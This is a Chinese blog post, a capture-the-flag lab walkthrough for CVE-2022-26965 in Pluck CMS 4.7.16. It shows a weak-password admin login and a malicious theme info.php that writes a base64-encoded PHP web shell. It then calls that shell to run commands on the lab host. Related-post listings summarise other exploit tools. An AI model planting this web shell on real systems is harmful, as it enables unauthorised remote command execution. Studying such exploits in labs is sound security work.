春秋云境：CVE-2022-26965

已于 2024-03-08 13:00:35 修改
阅读量2.4k 收藏 3
点赞数 1
分类专栏： 春秋云境-靶场 文章标签： 安全 系统安全 安全漏洞 网络安全 cve
于 2022-11-29 22:23:04 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/laobanjiull/article/details/128106473
版权

春秋云境：CVE-2022-26965

文章合集：春秋云境系列靶场记录（合集）

关注WX：【小白SEC】查看更多内容……

Pluck-CMS-Pluck-4.7.16 后台RCE：CVE-2022-26965

在这里插入图片描述

漏洞介绍

Pluck-CMS-Pluck-4.7.16 后台RCE

解题步骤

  1. 过弱口令登录：admin
    在这里插入图片描述
    在这里插入图片描述

  2. 登录之后按照图中位置进行主题安装
    在这里插入图片描述
    在这里插入图片描述

  3. 按照这位大哥文章：https://blog.csdn.net/weixin_39639260/article/details/116105945中说的，需要将主题中的info.php文件修改，再打包成zip再上传，通过网络搜索找到Github中的Pluck CMS，进入后随便下载任一主题：
    在这里插入图片描述

  4. 对主题进行解压得到info.php，修改info.php文件内容，并重新打包成zip文件：

<?php

file_put_contents('testshell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));

?>

在这里插入图片描述

  1. 将刚才打包的zip主题进行上传
    在这里插入图片描述

  2. 访问根目录下的testshell.php并进行命令执行：http://eci-jbxi1zebqg9.cloudeci1.ichunqiu.com/testshell.php?1=cat%20/flag
    在这里插入图片描述

文章合集：春秋云境系列靶场记录（合集）

Acczdy
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Pluck 代码问题漏洞( CVE-2022-26965)
千寻的博客
12-01 1897
Pluck-CMS-Pluck-4.7.16 后台RCE
CVE-2022-26965
qq_43676541的博客
05-08 208
#简介 原文链接：https://culturesun.
[春秋云镜]CVE-2022-26965 XStream Pluck-CMS-Pluck-4.7.16 后台RCE
b1n的博客
08-23 435
Pluck-CMS-Pluck-4.7.16 后台RCE。
利用cms主题构造木马(CVE-2022-26965)
热门推荐
Battery的博客
09-18 6万+
CVE-2022-26965是Pluck CMS 4.7.16版本存在一个1。攻击者可利用此漏洞通过构造恶意的主题包进行上传并执行，未经授权访问服务器，造成潜在的安全隐患。
春秋云镜 CVE-2022-26965
qq_22002773的博客
06-29 348
春秋云镜 CVE-2022-26965
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version<3.0.3 3.1.1<Apache spark 版本<3.1.2 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： https://spark.apache.org/downloads.html 2.安全设备路径添加黑名单或者增加WAF规则（临时方案）。
春秋云境：CVE-2022-26965（后台RCE）
m0_65712192的博客
04-21 1457
Pluck-CMS-Pluck-4.7.16 后台RCE
CVE-2018-8174_EXP:CVE-2018-8174_python
05-16
CVE-2018-8174_EXP 用法：CVE-2018-8174.py [-h] -u URL -o输出[-i IP] [-p端口] 针对CVE-2018-8174的漏洞利用 可选参数：-h，--help显示此帮助消息并退出-u URL，--url URL exp url -o OUTPUT，--output OUTPUT输出利用rtf -i IP，--ip IP表示netcat -p PORT ，--port netcat的PORT端口 例如： python CVE-2018-8174.py -u -o exp.rtf -i 2.2.2.2 -p 4444 将exploit.html放在您的服务器上（1.1.1.1） netcat收听[any] 4444（2.2.2.2） 好好享受 ！
CVE-2017-7269-Echo-PoC：CVE-2017-7269回显PoC，用于远程入侵检测。
03-02
CVE-2017-7269远程代码执行回显验证 我们团队对此次发布CVE-2017-7269漏洞的分析报告： ://ht-sec.org/cve-2017-7269-vulnerabilities/ DefaultPoC只能弹calc.exe ，现在修改成可以响应请求，命令格式为： CVE-2017-7269_remote_echo.py ip_address端口 效果如下：
Pluck CMS 中文版
03-26
Pluck是一个非常简单易用的PHP平台CMS（内容管理系统）。通过Pluck，即使不了解网络编程语言也可以建立自己的站点。 Pluck致力于让每个人都可以容易地管理自己的站点。对于所有的小型站点来说，Pluck是个不错的选择。Pluck发布于GPL协议下，是一个完全开源的平台。 cnPluck是一个致力于在中文领域推广PluckCMS的站点 使用PluckCMS建立您的站点需要PHP5+运行环境，以及不小于5MB的站点空间（安装PluckCMS大约需要占用3MB空间）。 您不需要SQL数据库，PluckCMS使用半静态的.php文件存储数据
CVE-2013-6117:CVE-2013-6117
04-29
CVE-2013-6117 $ ./CVE-2013-6117 -h Options: -h, --help display help information -f, --filename File containing list of IP addresses -t, --target Target IP -n, --threads No of concurrent threads (default: 100) $ ./CVE-2013-6117 -f hostfile.txt 1.2.4.4|name.no-ip.org:80|username|password $ ./CVE-2013-6117 -t 1.2.3.4 1.2.4.4|name.no-ip.org:80|username|password 参考：
春秋云境 CVE-2022-4230 夺旗
最新发布
05-02
介绍如何 利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。 漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认...
春秋云镜wp day1
xy404的博客
10-13 3560
今天看到之前买了内网渗透那本书，今天看到靶场上线了，打一天玩一下，总体cve的洞很好刷，比打CTF轻松多了。
春秋云镜靶场记录
wanan的博客
01-19 410
春秋云镜靶场记录
春秋云境系列靶场记录（合集）-不再更新
一只爱吃橙子的羊
11-29 5957
春秋云境系列靶场记录合集，不更新了哈……
春秋云境：CVE-2022-29464
07-28
根据引用\[1\]，CVE-2022-29464是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE（远程命令执行）权限。 根据引用\[2\]，攻击者可以通过上传名为1.jsp的恶意文件来利用该漏洞。该文件包含了一个表单，其中包含一个名为"cmd"的输入框，攻击者可以在此输入框中输入命令，并通过点击"Run"按钮来执行该命令。该文件还包含了Java代码，用于执行命令并将输出返回给攻击者。 根据引用\[3\]，该漏洞的受攻击的上传路由是/fileupload，由FileUploadServlet处理。而Identity.xml是一个配置文件，该文件上的路由（/fileupload）不受IAM（身份和访问管理）保护。 综上所述，CVE-2022-29464是一个严重的漏洞，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得远程命令执行权限。 #### 引用[.reference_title] - *1* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/ZXW_NUDT/article/details/129159816)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [漏洞复现 a.WSO2 文件上传 （CVE-2022-29464)](https://blog.csdn.net/FODKING/article/details/125746993)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值